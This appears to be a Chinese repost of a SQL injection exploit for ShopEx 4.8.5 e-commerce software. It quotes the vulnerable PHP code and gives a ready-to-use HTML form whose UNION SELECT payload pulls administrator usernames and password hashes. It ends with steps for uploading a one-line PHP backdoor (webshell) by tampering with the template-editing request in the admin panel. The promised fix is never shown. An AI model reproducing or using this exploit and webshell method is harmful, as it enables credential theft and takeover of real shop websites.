SHOPEX 4.8.5 注入漏洞以及后台拿SHELL

有人贴出来一个，我就转出来下吧，给大家看看。

漏洞文件：

漏洞核心函数 \core\model_v5\trading\mdl.goods.php

漏洞代码：

public function getProducts( $gid, $pid = 0 ){	$sqlWhere = "";	if ( 0 < $pid )	{		$sqlWhere = " AND A.product_id = ".$pid; //www.lpboke.com 没过滤 ~~~~~~	}	$sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere;	return $this->db->select( $sql );}

\core\shop\controller\ctl.product.php 文件调用

View Code PHP

function gnotify($goods_id=0,$product_id=0){ 	if($_POST['goods']['goods_id']){		$goods_id = $_POST['goods']['goods_id'];		$product_id = $_POST['goods']['product_id'];	}		$this->id =$goods_id;	$objGoods = &$this->system->loadModel('trading/goods');	$aProduct = $objGoods->getProducts($goods_id, $product_id);//www.lpboke.com 直接带进去了 	$this->pagedata['goods'] = $aProduct[0];	if($this->member[member_id]){		$objMember = &$this->system->loadModel('member/member');		$aMemInfo = $objMember->getFieldById($this->member[member_id], array('email'));		$this->pagedata['member'] = $aMemInfo;	} 	$this->output();}

EXP: 保存为html使用即可

View Code HTML

 <html> <head> <title>Shopex 4.8.5 SQL Injection Exp</title> </head> <body> <h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2> <form action="http://www.lpboke.com/?product-gnotify" method="post" name="submit_url">     <input type="hidden" name="goods[goods_id]" value="3">     <input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">     <input type="submit" value=""> </form> 网址请修改:http://www.lpboke.com/?product-gnotify <br />本程序只能用于网站安全检测 <br />禁止用于非法途径,产生的一切后果与作者无关!<br /><body> </html>

拿shell方法….

第一步页面管理修改模版然后选一个XML编辑
开始用 live http 抓包你们懂的然后把第一个POST包给抓出来
然后改包包要这么改我研究了半天尼玛的菊花红
id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=
解释一下 id是你选择的模版文件夹名称后面的info.xml 是你修改的XML文件 tmpid= 你们懂的就是模版文件夹然后 name 是你提交的文件名字 file_source 是后门或者shel
我这里是一句话你们懂的然后提交了之后地址是这样的http://Madman.in/themes/文件名称/你的木马名称

最后是修复代码

本站仅提供存储服务，所有内容均由用户发布，如发现有害或侵权内容，请点击举报。